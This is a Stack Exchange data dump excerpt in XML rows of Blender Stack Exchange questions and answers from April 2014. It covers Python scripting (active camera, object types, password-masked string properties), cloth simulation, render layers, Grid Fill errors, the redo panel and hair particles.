  <row Id="8245" PostTypeId="1" AcceptedAnswerId="8248" CreationDate="2014-04-02T14:51:44.723" Score="7" ViewCount="9057" Body="&lt;p&gt;I could just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj_camera = bpy.data.objects[&quot;Camera&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get the camera, but it is possible to have a scene with multiple cameras.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if that is the case, how can I choose the active one?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="12" LastEditDate="2014-04-03T16:40:21.233" LastActivityDate="2014-04-06T12:54:50.240" Title="Find active camera from Python" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8247" PostTypeId="1" AcceptedAnswerId="28786" CreationDate="2014-04-02T15:11:18.247" Score="11" ViewCount="3499" Body="&lt;p&gt;What research papers were leveraged to implement Blender Cloth? I know of several cloth models - Geometric, Physical, Particle. There are several researchers who have published work within each type of model (Provot, Baraff &amp;amp; Witkin) and I am not certain if Blender utilizes one over others or a combination of multiple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I am not entirely certain what each of the Cloth Settings actually represents as far as a calculation is concerned. I am not sure what units are being manipulated for, say, &quot;Structural Stiffness&quot;, when you decrease the value from 15 to 10. I'm unsure of what a &quot;Stiffness&quot; of 1 unit actually means (mathematically or physically). I know that it cannot be arbitrary (at least I hope). A further understanding of the actual physics and math behind the &quot;Quality&quot; step sizes, the &quot;Structural&quot; and &quot;Bending&quot; qualities, and the &quot;Spring&quot; variables under the Damping setting are of interest. This &lt;a href=&quot;http://www.cs.unc.edu/~lin/COMP768-S09/LEC/cloth.pdf&quot; rel=&quot;noreferrer&quot;&gt;powerpoint&lt;/a&gt; has helped, as has this &lt;a href=&quot;http://davis.wpi.edu/~matt/courses/cloth/&quot; rel=&quot;noreferrer&quot;&gt;.pdf&lt;/a&gt;, but neither offer a total picture on what Blender may be using.&lt;/p&gt;&#xA;" OwnerUserId="3001" LastEditorUserId="3001" LastEditDate="2016-04-26T03:01:28.297" LastActivityDate="2017-02-14T17:51:51.383" Title="On what Cloth Simulation Model is Blender Cloth Physics Based?" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8248" PostTypeId="2" ParentId="8245" CreationDate="2014-04-02T15:21:21.017" Score="10" Body="&lt;p&gt;The property you are looking for is 'Scene.camera'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have '&lt;a href=&quot;https://blender.stackexchange.com/questions/7878/how-do-i-find-the-technical-name-for-a-function-so-i-can-assign-a-hotkey-to-it/7879#7879&quot;&gt;python tooltips&lt;/a&gt;' enabled in the user preferences you can hover over the camera field in the 'Scene' tab of the 'Properties' area, to reveal the python code for this property:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UbOzh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to access this property for the current scene and assign it to a variable is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj_camera = bpy.context.scene.camera&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-04-02T15:50:51.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8249" PostTypeId="2" ParentId="8235" CreationDate="2014-04-02T15:38:44.817" Score="12" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wp4km.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the chain to follow the curve, move it to the origin of the curve (they need a common center).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the curve, press &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; and select &lt;em&gt;Cursor to Selected&lt;/em&gt;&#xA;select the chain, press &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; and select &lt;em&gt;Selection to Cursor&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then apply your curve modifier and the chain will follow the curve correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The deformation is fixed scaling the object&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="29" LastEditDate="2014-04-15T20:07:49.120" LastActivityDate="2014-04-15T20:07:49.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8250" PostTypeId="1" AcceptedAnswerId="8251" CreationDate="2014-04-02T16:02:25.270" Score="5" ViewCount="1237" Body="&lt;p&gt;If I just do: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in context.scene.objects:&#xA;    print obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;bpy_struct, Object(&quot;Cube&quot;)&amp;gt;&#xA;&amp;lt;bpy_struct, Object(&quot;Lamp&quot;)&amp;gt;&#xA;&amp;lt;bpy_struct, Object(&quot;Camera&quot;)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I just get all of the objects that get drawn?  i.e. the ones with vertices&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="2217" LastEditDate="2014-04-26T17:56:38.310" LastActivityDate="2016-08-24T15:29:48.673" Title="Enumerate through geometry objects in scene" Tags="&lt;python&gt;&lt;scripting&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8251" PostTypeId="2" ParentId="8250" CreationDate="2014-04-02T16:09:01.910" Score="7" Body="&lt;p&gt;You can check for an objects '&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Object.html?highlight=object.type#bpy.types.Object.type&quot; rel=&quot;nofollow&quot;&gt;type&lt;/a&gt;':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in context.scene.objects:&#xA;    if ob.type == 'MESH':&#xA;        print ob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other 'types' include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CURVE&lt;/code&gt;, &lt;code&gt;SURFACE&lt;/code&gt;, &lt;code&gt;META&lt;/code&gt;, &lt;code&gt;FONT&lt;/code&gt;, &lt;code&gt;ARMATURE&lt;/code&gt;, &lt;code&gt;LATTICE&lt;/code&gt;, &lt;code&gt;EMPTY&lt;/code&gt;, &lt;code&gt;CAMERA&lt;/code&gt;, &lt;code&gt;LAMP&lt;/code&gt;, &lt;code&gt;SPEAKER&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check for multiple types you can used Python's set notion.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in context.scene.objects:&#xA;    if ob.type in {'MESH', 'CURVE', 'SURFACE'}:&#xA;        print ob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2016-08-24T15:29:48.673" LastActivityDate="2016-08-24T15:29:48.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8252" PostTypeId="1" CreationDate="2014-04-02T16:46:39.573" Score="2" ViewCount="1805" Body="&lt;p&gt;I have a selection of vertices that I want to bridge. I would like to use the grid fill tool because there are vertices in between. I am however getting an error &lt;em&gt;Edge Loop Vertex mismatch&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BI4ex.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-04-02T17:43:25.463" Title="Grid Fill not working" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-04-03T16:46:21.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="8253" PostTypeId="1" AcceptedAnswerId="40187" CreationDate="2014-04-02T17:01:01.713" Score="7" ViewCount="1154" Body="&lt;p&gt;For a particular object and a particular camera, I wish to convert each vertex into camera space, perform some maths on it and convert it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically I need to convert the vertex first into world space, and then into camera space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v_world = obj.matrix_world * v.co&#xA;v_cam = cam.matrix_world.invert() * v_world&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I could tidy up by doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# first create matrix that goes from object-space to camera-space&#xA;ob_to_cam = obj.matrix_world * cam.matrix_world.invert()&#xA;&#xA;for v in ob.vertices:&#xA;    v_cam = ob_to_cam * v.co&#xA;    v_cam_out = my_maths_processing(v_cam)&#xA;&#xA;    v.co = ob_to_cam.invert() * v_cam_out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct?  Is there a tidier way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-246525.html&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-246525.html&lt;/a&gt; gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;M1 = Cam.worldTransform # camera 4x4 transform matrix&#xA;M2 = Obj.worldTransform # object matrix&#xA;M = M1.inverted()*M2 # conventions valid for blender 2.62&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is another suggestion on the same page, to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bge.types.KX_Camera&#xA;bge.types.KX_Camera.world_to_camera&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_62_0/bge.types.html#bge.types.KX_Camera&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_62_0/bge.types.html#bge.types.KX_Camera&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_62_0/bge.types.html#bge.types.KX_Camera.world_to_camera&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_62_0/bge.types.html#bge.types.KX_Camera.world_to_camera&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm unfamiliar with 'bge' -- blender game object. Should I be using this object?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="55" LastEditDate="2014-04-03T00:44:27.507" LastActivityDate="2015-10-17T22:01:02.863" Title="Python: Convert a point into camera-space (BGE)" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;transforms&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8254" PostTypeId="2" ParentId="8204" CreationDate="2014-04-02T17:26:50.233" Score="2" Body="&lt;p&gt;So for this I would use render layers. This means you can't really view the effect 'live' in the viewport, but it will be applied when rendered and composited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 render layers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render layer 1, called 'Main', renders layer 1 which holds the sphere and light only.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s802K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render layer 2, called 'Floor', renders layer 2 which is the floor object and &lt;em&gt;excludes&lt;/em&gt; layer 3, which is the red plane.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pgc7W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Transparent' must be enabled in film section of the Render tab to allow layers to be composited together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ak7sQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: All 3 scene layers should be made visible before rendering. All 3 layers are required, the render layers take care of what appears in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Main' render layer will only include the sphere, but will still be effected by the other layers, so will include the plane and floor in the reflection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Floor' render layer will only include the floor object and will only be effected by layer 1 because red object is excluded on layer 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These render layers can then be combined in the compositor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2T83e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which results in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NjiaD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-04-02T17:26:50.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8255" PostTypeId="1" CreationDate="2014-04-02T17:39:44.823" Score="5" ViewCount="343" Body="&lt;p&gt;In Cycles can I use the amount of shadow cast onto an object as a Fac. input of a mix shader?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be useful for setting up a Frost / snow material that is visible in shadowed areas but has melted in lit areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could do it by baking shadow maps for the various objects, but I wondered if there was a procedural way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe if I could create a vertex paint layer using the shadow info this could be used and would save the texturing (my scene is already quite complex - several hours per frame)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2224" LastActivityDate="2014-04-02T18:42:22.320" Title="Can the areas of an object in shadow be accessed in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8256" PostTypeId="2" ParentId="8252" CreationDate="2014-04-02T17:43:25.463" Score="3" Body="&lt;h2&gt;&lt;strong&gt;&quot;Edge loop vertex count mismatch&quot; Error&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&quot;Edge loop vertex count mismatch&quot; error occurs when the number of selected vertices of the two edges you want to use Grid Fill on are not equal, as seen here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tuThm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, maybe you have a vertex selected on one side that's not selected on the other side. &lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-02T17:43:25.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8259" PostTypeId="2" ParentId="8255" CreationDate="2014-04-02T18:42:22.320" Score="2" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, &lt;a href=&quot;https://blender.stackexchange.com/a/703/599&quot;&gt;this is not possible in cycles&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaound, you could render a diffuse pass in a different renderlayer and then use that as the mix factor, see &lt;a href=&quot;https://blender.stackexchange.com/q/2612/599&quot;&gt;Is it possible to use the output of a Renderlayer in the material nodes of another RenderLayer?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-04-02T18:42:22.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8260" PostTypeId="2" ParentId="8247" CreationDate="2014-04-02T19:45:11.667" Score="2" Body="&lt;p&gt;There was a blog about development, it's gone but a copy can be located &lt;a href=&quot;https://web.archive.org/web/20090131145312/http://wxtools.com/wp/?cat=3&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&#xA;I believe the simulator is particle based, and you might be able to find a few details there.  However, the best approach would be the blender developers mailing list, or even browsing the source code.&lt;br&gt;&#xA;Normally I think pointing someone at the source code is a very incomplete answer, but you mentioned you are using this for a lab.  So I'm assuming that you need a very detailed answer of how it is simulated.  Also keep in mind that Blender is an animation package.  It creates results that look good, not necessarily results that are physically accurate.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-04-02T19:45:11.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8261" PostTypeId="1" AcceptedAnswerId="8267" CreationDate="2014-04-02T20:02:47.730" Score="6" ViewCount="2405" Body="&lt;p&gt;Is it possible to mask out a string that will be a user password for loggining into an asset server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; password1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; *********&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2452" LastActivityDate="2014-04-02T22:53:08.897" Title="Can I mask out a string property field that holds a password?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8262" PostTypeId="1" CreationDate="2014-04-02T21:07:45.963" Score="14" ViewCount="5640" Body="&lt;p&gt;Sometimes when adding an object to the scene I see that all options (on toolbar or in window after pressing F6) are disabled. Can anyone tell me when can this happen? What is causing it and how to revert it - make it enabled again. It worked for me when I restarted Blender and reloaded the scene. However I would really like to know what can cause it?&lt;/p&gt;&#xA;" OwnerUserId="1316" LastEditorUserId="2217" LastEditDate="2014-09-18T18:41:35.317" LastActivityDate="2020-09-03T21:24:03.307" Title="What is causing disabled options when adding a mesh/curve object to the scene?" Tags="&lt;interface&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2020-07-26T00:53:47.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="8263" PostTypeId="2" ParentId="8262" CreationDate="2014-04-02T21:08:42.860" Score="21" Body="&lt;p&gt;It sounds like you may have disabled &lt;em&gt;&lt;strong&gt;Global Undo&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;That panel is called the &lt;strong&gt;redo panel&lt;/strong&gt;, because when you change a setting on it, blender actually redoes the previous operator with the new settings.&#xA;If blender can't undo the previous operator first, running it again will add it's effect on top of the result of the previous operator (which is not the desired effect at all).&lt;/p&gt;&#xA;&lt;p&gt;So this panel is disabled when undo is not available.&lt;/p&gt;&#xA;&lt;p&gt;For 2.8x and 2.9.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Edit &amp;gt; User preferences &amp;gt; System &amp;gt; Memory &amp;amp; Limits: Global Undo&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6k4h3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6k4h3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;For 2.7X use&lt;/p&gt;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; User preferences &amp;gt; Editing&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vmsJh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="92768" LastEditDate="2020-09-03T21:24:03.307" LastActivityDate="2020-09-03T21:24:03.307" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8264" PostTypeId="1" AcceptedAnswerId="8397" CreationDate="2014-04-02T21:44:01.163" Score="4" ViewCount="6614" Body="&lt;p&gt;Is there some way to fully remove hair particles (e.g. with a brush) while in particle edit mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally this would actually remove the particle, &lt;strong&gt;instead of e.g. making it tiny with the cut brush&lt;/strong&gt;. The problem with cutting particles until they are invisible is that they will still affect child particles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w3LEo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above example uses interpolated child particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28121&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-03T00:52:12.813" LastActivityDate="2018-03-08T14:27:39.010" Title="Is there a way to remove hair particles in particle edit mode?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8267" PostTypeId="2" ParentId="8261" CreationDate="2014-04-02T22:53:08.897" Score="9" Body="&lt;p&gt;Yes, use the &lt;code&gt;subtype='PASSWORD'&lt;/code&gt; for a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.props.html#bpy.props.StringProperty&quot;&gt;StringProperty&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.password = bpy.props.StringProperty(subtype='PASSWORD')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add it to the &lt;em&gt;Scene&lt;/em&gt; tab for a quick test by running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.SCENE_PT_scene.prepend(&#xA;    lambda self, context: self.layout.prop(context.scene, &quot;password&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The property can be read and written like any property, but each character is drawn as an asterix if added to a panel. It is also not shown in tooltip (since 2.70), but it's possible to copy and paste. The main purpose is to hide the password on screen for video recordings, not to protect or encrypt it.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-02T22:53:08.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8268" PostTypeId="1" CreationDate="2014-04-02T23:18:15.620" Score="4" ViewCount="492" Body="&lt;p&gt;This question is identical to &lt;a href=&quot;https://blender.stackexchange.com/questions/7601/custom-nonlinear-distortion-lens&quot;&gt;Custom nonlinear distortion lens&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With one difference: I'm only interested in a solution at the code level. Because that gives a fine-grained control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tYvGB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each square on that grid, a ray is shot out through each corner, returning a colour.  The four corners are averaged, and the resultant colour is given to that pixel. (if there is more than a certain maximum allowed amount of variation between the 4 values, the square is cut up into 4 little squares, and so on, recursively)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the standard projection model I'm familiar with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is manually fire out rays myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that somewhere low down in the C code level, there is some routine that performs this operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But where? Can someone direct me? I would be very daunted to have to hunt it down myself through the Blender source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And can this be done in Python? Is there some command for firing a ray and retrieving the colour? If this is the case then I could in theory write my own ray projector, and save the resulting 2D RGB array to file. &lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-04-03T03:25:12.397" Title="Spherical / Custom projection at code level" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8270" PostTypeId="2" ParentId="8268" CreationDate="2014-04-02T23:49:32.383" Score="3" Body="&lt;p&gt;I am not sure if it can be down in Python. But definitely possible in C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Cycles support non-planar lenses ala fisheye. You can find the user documentation for it on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Camera&quot; rel=&quot;nofollow&quot;&gt;wiki.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A walkthrough (and patch) from the developer who implemented this feature can be found on &lt;a href=&quot;http://www.dalaifelinto.com/?p=399&quot; rel=&quot;nofollow&quot;&gt;Dalai Felinto&lt;/a&gt;'s website. &lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-04-02T23:49:32.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8271" PostTypeId="1" AcceptedAnswerId="8279" CreationDate="2014-04-03T00:56:43.560" Score="1" ViewCount="712" Body="&lt;p&gt;Editing a mesh after adding hair particles will mess up the hair (I assume it's because hairs are placed based on vertex order/indexes which change when the mesh is edited).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be avoided by disconnecting the hair from the mesh, but this will remove child particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to keep hair (including child particles) in the same state while editing the mesh?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-03T05:53:46.563" Title="Is there a way to keep hair childeren and edit the mesh?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8272" PostTypeId="1" AcceptedAnswerId="8277" CreationDate="2014-04-03T00:59:57.983" Score="4" ViewCount="1686" Body="&lt;p&gt;Is there a way to prevent freestyle from rendering lines on hair particles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still want to render lines on the mesh which has the particle system.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-03T05:47:59.827" Title="How to exclude hair particles from freestyle render?" Tags="&lt;rendering&gt;&lt;particles&gt;&lt;blender-internal-render-engine&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8273" PostTypeId="2" ParentId="6960" CreationDate="2014-04-03T02:02:11.030" Score="0" Body="&lt;p&gt;The easiest way I've found to copy all the modifiers for an object is to tab out to Object mode and duplicate the object. Then tab into edit, select all, and delete. Then add your mesh while inside edit mode. This will apply all the modifiers to the new object. Works for me, i just wish there was a shortcut.&lt;/p&gt;&#xA;" OwnerUserId="3004" LastActivityDate="2014-04-03T02:02:11.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8274" PostTypeId="2" ParentId="8268" CreationDate="2014-04-03T03:25:12.397" Score="1" Body="&lt;p&gt;I'm not saying it's possible with python, but here's somewhere to start:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/RenderEngineAPI&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;,&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.RenderEngine.html&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt;.  As a side note, blender's model is to shoot out one ray per square, unless anti-aliasing is enabled under the render panel. With antialising, it uses the specified amount of samples and mixing algorithm.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-04-03T03:25:12.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8275" PostTypeId="1" AcceptedAnswerId="8283" CreationDate="2014-04-03T03:42:52.923" Score="15" ViewCount="9112" Body="&lt;p&gt;I want to add things like basic tables/chairs/houses I have made over the past year to my &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; menu. Is it possible to do this?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="599" LastEditDate="2014-04-03T06:24:53.273" LastActivityDate="2017-10-09T06:22:48.127" Title="How to add custom objects to the &quot;add object&quot; menu?" Tags="&lt;objects&gt;&lt;customization&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
